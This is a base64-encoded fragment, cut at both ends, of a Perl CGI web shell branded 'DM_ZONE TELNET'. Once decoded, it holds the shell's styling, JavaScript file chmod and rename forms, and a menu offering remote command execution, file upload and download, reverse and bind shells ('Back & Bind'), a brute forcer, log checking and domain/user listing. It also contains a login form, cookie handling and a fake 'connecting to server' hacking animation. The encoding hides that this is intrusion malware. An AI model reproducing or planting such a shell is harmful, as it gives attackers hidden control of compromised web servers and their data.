dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kZGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7DQoJfWVsc2UNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsNCgl9DQp9DQo8L3NjcmlwdD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KPGNlbnRlcj48Y29kZT4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+DQoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+DQoJPC90ZD4NCg0KCTx0ZD4NCg0KCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNjYzAwMDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjMDAwMDAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCg0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0tFIENPSyAhISE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogRE1fWk9ORTxicj4NCg0KUGFzc3dvcmQgU2FsYWggQ29rIDpwPGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogRE1fWk9ORTxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iID4+ICI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8YnI+PGZvbnQgY29sb3I9cmVkPm8tLS1bICBETV9aT05FIFRFTE5FVCAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9nb3V0U2NyZWVuDQp7DQoJcHJpbnQgIkxPRyBPVVQgU1VLU0VTIENPSyA6UDxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0